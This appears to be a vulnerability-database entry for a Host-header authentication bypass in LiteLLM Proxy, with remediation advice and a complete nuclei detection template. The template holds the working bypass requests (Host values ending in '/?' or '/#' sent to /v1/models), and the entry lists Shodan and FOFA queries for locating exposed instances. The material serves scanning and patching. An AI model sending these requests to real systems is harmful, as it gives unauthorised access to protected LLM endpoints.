Browse / CVEs / CVE-2026-49468
CVE-2026-49468· berriai / litellm· CWE-290
LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass
criticalseverity
8.1CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.
Fix
Upgrade LiteLLM Proxy to 1.84.0 or later.
How to confirm it
Send: GET /v1/models
Positive when: contains "type\":\"auth_error"
Send: GET /v1/models
Positive when: contains "\"object\":\"list\"" and "{\"data\":[" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2026-49468 -u <target>
The full check
id: CVE-2026-49468
info:
name: LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass
author: str4k3r
severity: critical
description: |
LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.
remediation: Upgrade LiteLLM Proxy to 1.84.0 or later.
reference:
- https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w
- https://github.com/BerriAI/litellm/releases/tag/v1.84.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-49468
classification:
cve-id: CVE-2026-49468
epss-score: 0.03033
epss-percentile: 0.87604
cwe-id: CWE-290
cvss-score: 8.1
cvss-metrics: CVSS:3.1/AV:H/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
vendor: berriai
product: litellm
technology: python,fastapi,starlette
max-request: 1
shodan-query: http.favicon.hash:539724359
fofa-query: icon_hash="539724359"
tags: cve,cve2026,litellm,auth-bypass,llm
flow: http(1) && http(2)
http:
- raw:
- |
GET /v1/models HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'type":"auth_error'
internal: true
- raw:
- |+
GET /v1/models HTTP/1.1
Host: {{Hostname}}/?
- |+
GET /v1/models HTTP/1.1
Host: {{Hostname}}/#
unsafe: true
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"object":"list"'
- '{"data":['
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200References
- https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w
- https://github.com/BerriAI/litellm/releases/tag/v1.84.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-49468
Use this check only on systems you are authorised to test. Where the data comes from